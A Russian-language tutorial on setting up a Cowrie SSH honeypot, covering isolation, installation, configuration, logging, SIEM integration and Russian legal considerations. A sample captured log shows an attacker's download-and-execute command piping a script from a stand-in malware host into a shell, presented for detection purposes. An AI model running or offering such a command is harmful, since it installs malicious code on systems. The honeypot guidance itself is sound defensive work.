Как собрать honeypot и узнать, кто сканирует вашу сеть

"Многие уверены, что honeypot — удел спецслужб или крупных компаний с отделом киберразведки. Но суть в другом: это простейший способ увидеть, что вашу сеть уже сканируют. Не абстрактные угрозы из отчётов, а конкретные IP-адреса и команды. Это переводит безопасность из области паранойи в область фактов. Развернув ловушку, вы получаете окно в процесс, который обычно остаётся невидимым."

Что такое honeypot и зачем он нужен в российском сегменте

Honeypot, это изолированная ловушка, имитирующая реальную систему или сервис, будь то SSH-сервер, веб-приложение или сетевая служба. Её цель не в том, чтобы блокировать атаки, а в том, чтобы привлечь и зафиксировать несанкционированные действия. В отличие от файрвола или системы предотвращения вторжений, honeypot ничего не запрещает — он наблюдает и записывает.

В условиях российских реалий, где регуляторные требования (152-ФЗ, приказы ФСТЭК) делают акцент на выявлении угроз, honeypot решает несколько практических задач, выходящих за рамки формального соответствия:

  • Обнаружение разведки. Сканирование портов и сервисов — обязательный этап любой атаки. Ловушка фиксирует этот этап раньше, чем злоумышленник найдёт настоящую цель в вашей сети.
  • Сбор актуальных тактик. Вы видите не устаревшие примеры из учебников, а конкретные пароли, команды и эксплойты, которые используют прямо сейчас против инфраструктуры в вашем сетевом сегменте.
  • Верификация событий. Любое обращение к honeypot, это гарантированно враждебное событие. Эти данные бесценны для тонкой настройки корреляционных правил в SIEM-системе, помогая отличить фоновый шум от реальной атаки.
  • Отвлечение ресурсов. Время, которое атакующий тратит на взаимодействие с ложной целью, увеличивает шансы на его обнаружение другими средствами.

Прямого требования разворачивать honeypot в нормативных документах нет. Однако он становится инструментом для реализации принципа проактивного обнаружения угроз, что соответствует духу требований регуляторов.

Архитектура простой ловушки: что куда подключать

Базовая архитектура ловушки строится на принципе изоляции и состоит из трёх ключевых компонентов:

  1. Ловушка (Honeypot). Программный эмулятор конкретного сервиса (например, SSH) или более сложная система.
  2. Система сбора логов (Logger). Отдельный сервис или база данных для приёма и хранения всех событий с ловушки. Важно, чтобы система анализа не находилась на том же хосте, что и сам honeypot.
  3. Сегмент сети. Выделенная VLAN, DMZ или отдельная виртуальная частная облачная сеть (VPC), которая не имеет маршрутов к рабочей инфраструктуре.

Ключевое правило: ловушка не должна иметь никакой возможности инициировать соединение с вашими реальными активами. Идеально для этого подходит отдельная виртуальная машина у облачного провайдера или в строго изолированном сегменте локальной сети.

Выбор инструмента: от простых эмуляторов до Cowrie

Для первого эксперимента стоит выбрать лёгкий, но функциональный эмулятор. Вот несколько проверенных вариантов:

  • Cowrie. Эмулятор SSH- и Telnet-серверов на Python. Записывает все сессии, логины, пароли и введённые команды. Активно развивается, относительно прост в настройке.
  • Glastopf. Эмулятор уязвимого веб-приложения на Python. Анализирует входящие HTTP-запросы, может эмулировать уязвимости и даже загружать присланные эксплойты для анализа.
  • Dionaea. Эмулятор нескольких служб (SMB, HTTP, FTP) с функцией «заманивания» вредоносных файлов и их последующего анализа. Написан на C, Python.
  • T-Pot. Не отдельный honeypot, а целый готовый дистрибутив на базе Debian, включающий множество инструментов (Cowrie, Dionaea и другие), а также стек Elastic (Elasticsearch, Logstash, Kibana) для сбора и визуализации логов.

Для первого знакомства оптимален Cowrie. Атаки на SSH — один из самых распространённых векторов, а инструмент даёт наглядные и структурированные результаты.

Пошаговая установка и настройка Cowrie

Развернём Cowrie на виртуальной машине с Ubuntu. Потребуются базовые навыки работы в командной строке Linux.

Подготовка системы и установка зависимостей

Обновите индекс пакетов и установите необходимые для сборки и работы инструменты:

sudo apt update && sudo apt upgrade -y
sudo apt install -y git python3-venv python3-pip libssl-dev libffi-dev build-essential

Создание выделенного пользователя

Запускать сервис от имени суперпользователя небезопасно. Создадим изолированную учётную запись:

sudo adduser --disabled-password --gecos "" cowrie
sudo su - cowrie

Клонирование и настройка окружения Cowrie

Перейдём в домашний каталог нового пользователя, клонируем репозиторий и настроим виртуальное окружение Python:

git clone https://github.com/cowrie/cowrie
cd cowrie
python3 -m venv cowrie-env
source cowrie-env/bin/activate
pip install --upgrade pip
pip install -r requirements.txt

Базовая конфигурация

Основные параметры задаются в файле конфигурации. Создадим его из дистрибутивного шаблона:

cp etc/cowrie.cfg.dist etc/cowrie.cfg

Теперь нужно отредактировать `etc/cowrie.cfg`. Ключевые параметры для изменения:

[ssh]
# Порт для эмулятора SSH. Меняем с 22, чтобы не конфликтовать с реальным демоном.
listen_port = 2222

[output_jsonlog]
enabled = true
# Логи будут записываться в структурированном JSON-формате.
logfile = log/cowrie.json

Запуск и проверка работы

Запустите сервис и убедитесь, что он работает:

bin/cowrie start
ps aux | grep cowrie
netstat -tlnp | grep 2222

Для теста можно подключиться к ловушке с другого хоста, указав изменённый порт. Любой введённый пароль будет принят, а сессия — записана.

Настройка перенаправления портов и размещение в сети

Чтобы ловушка начала собирать данные извне, её нужно сделать доступной.

ВариантОписаниеРиски и рекомендации
Облачный хостинг (VPS)Развёртывание на виртуальной машине у российского или иностранного провайдера.Минимальные риски для основной инфраструктуры. Убедитесь, что в настройках облачного файрвола открыт нужный порт (например, 2222).
Локальная сеть с пробросомПроброс порта с внешнего адреса роутера на внутренний адрес машины с honeypot.Повышает экспозицию вашей локальной сети. Используйте только на тестовых стендах, не связанных с рабочими данными.
Изолированный сегмент (DMZ/VLAN)Размещение в специально выделенной сети с контролируемым выходом в интернет и без доступа внутрь.Наиболее безопасный и правильный подход для организаций. Требует понимания сетевой инфраструктуры.

Общее правило: физическая или логическая изоляция honeypot от любых систем, содержащих реальные данные или выполняющих бизнес-функции.

Что вы увидите в логах: разбор реального инцидента

Через несколько часов после запуска в логах появятся первые записи. Cowrie, настроенный на вывод в JSON, предоставляет структурированные данные. Пример события неудачной попытки входа:

{
  "eventid": "cowrie.login.failed",
  "src_ip": "45.142.XX.XX",
  "username": "root",
  "password": "admin"
}

После «успешного» подбора пароля последуют команды. Типичная запись:

{
  "eventid": "cowrie.command.input",
  "src_ip": "45.142.XX.XX",
  "input": "curl -s http://malware-drop.example/script.sh | sh"
}

Здесь видна стандартная цепочка действий бота: обнаружение открытого порта SSH, перебор стандартных учётных данных и немедленная попытка выполнить команду для загрузки вредоносной нагрузки. Анализ таких логов позволяет:

  • Составить актуальный список IP-адресов, ведущих сканирование.
  • Обновить словари для систем обнаружения аномальных входов (например, добавление пароля `admin` в список подозрительных для учётной записи root).
  • Выявить URL-адреса и домены, используемые для распространения вредоносного ПО, и добавить их в блокировщики на периметре.

Интеграция с SIEM и мониторингом

Самостоятельная ценность логов honeypot невелика. Она раскрывается при встраивании этих данных в систему мониторинга безопасности.

Направление логов в SIEM. Настройте на хосте с Cowrie лог-форвардер (например, Filebeat или Rsyslog) для отправки событий в вашу SIEM-платформу. На основе этих данных можно создавать корреляционные правила. Например: множество неудачных попыток входа в honeypot с IP-адреса X, а затем — успешная аутентификация с того же адреса на корпоративном портале.

Использование готовых стеков визуализации. Дистрибутив T-Pot включает предварительно настроенные Elasticsearch и Kibana с дашбордами. Это даёт возможность быстро анализировать активность без глубокой интеграции с корпоративными системами.

Настройка оповещений. Самый простой шаг — настроить триггер на событие `cowrie.login.success`. Это моментальный сигнал о том, что кто-то «вошёл» в вашу ловушку, что означает начало активной фазы взаимодействия.

Правовые и организационные аспекты в России

Развёртывание системы, которая собирает и хранит данные о действиях третьих лиц, требует учёта правовых норм.

  • Обработка данных. IP-адрес может являться персональным данным. Цель обработки — обеспечение безопасности информационной инфструктуры — должна быть зафиксирована во внутренних документах (например, в Политике обработки данных).
  • Хранение чувствительной информации. В логи могут попасть пароли, возможно, используемые злоумышленником для доступа к другим системам. Рекомендуется хранить такие логи на зашифрованных носителях с ограниченным доступом.
  • Взаимодействие с регулятором. Данные, собранные honeypot и позволившие выявить реальный инцидент информационной безопасности, могут быть включены в отчётность для ФСТЭК как часть работы по обнаружению угроз.
  • Принцип невмешательства. Honeypot — инструмент пассивного наблюдения. Любые активные ответные действия (контратака, взлом системы источника) являются неправомерными и могут повлечь юридическую ответственность.

Эволюция ловушки: от Cowrie к промышленному решению

После освоения базового эмулятора можно развивать систему дальше:

  1. Сеть ловушек (honeynet). Несколько взаимодействующих honeypot, имитирующих сегмент сети: веб-сервер, база данных, файловое хранилище. Это позволяет наблюдать за перемещением атакующего между системами и сбором более полного контекста атаки.
  2. Высокоинтерактивные ловушки. Полноценные изолированные виртуальные машины (на KVM, VMware), предоставляющие атакующему реальную оболочку. Такие системы требуют больше ресурсов, но позволяют изучать сложные, многоэтапные атаки и собирать реальные образцы вредоносного ПО.
  3. Интеграция с разведкой по угрозам (Threat Intelligence). Собранные индикаторы компрометации (IoC) — IP-адреса, хэши файлов, домены C2 — можно использовать для обновления чёрных списков в файрволе, WAF или системах обнаружения вторжений, повышая защиту реальной инфраструктуры.

Чего не стоит делать: типичные ошибки новичков

  • Размещать ловушку на рабочем сервере. Риск случайной эскалации атаки с honeypot на соседние, реальные службы.
  • Игнорировать конфликты портов. Запуск эмулятора SSH на стандартном порту 22, когда на том же хосте работает реальный sshd, приведёт к ошибке.
  • Забывать об обновлениях. Программное обеспечение honeypot, как и любое другое, может содержать уязвимости. Его необходимо регулярно обновлять.
  • Слепо доверять данным. Опытный противник может распознать эмуляцию по аномальным задержкам, нестандартным баннерам или поведению и начать отправлять дезинформирующие команды.
  • Не контролировать рост логов. Без политики ротации и архивации логи могут быстро исчерпать свободное дисковое пространство, что приведёт к остановке системы.

Honeypot, это не «установил и забыл». Это инструмент, который требует начальной настройки и периодического анализа результатов. Но именно он предоставляет уникальную возможность — увидеть атаку не как событие в логе, а как процесс, и сделать угрозы осязаемыми.

Оставьте комментарий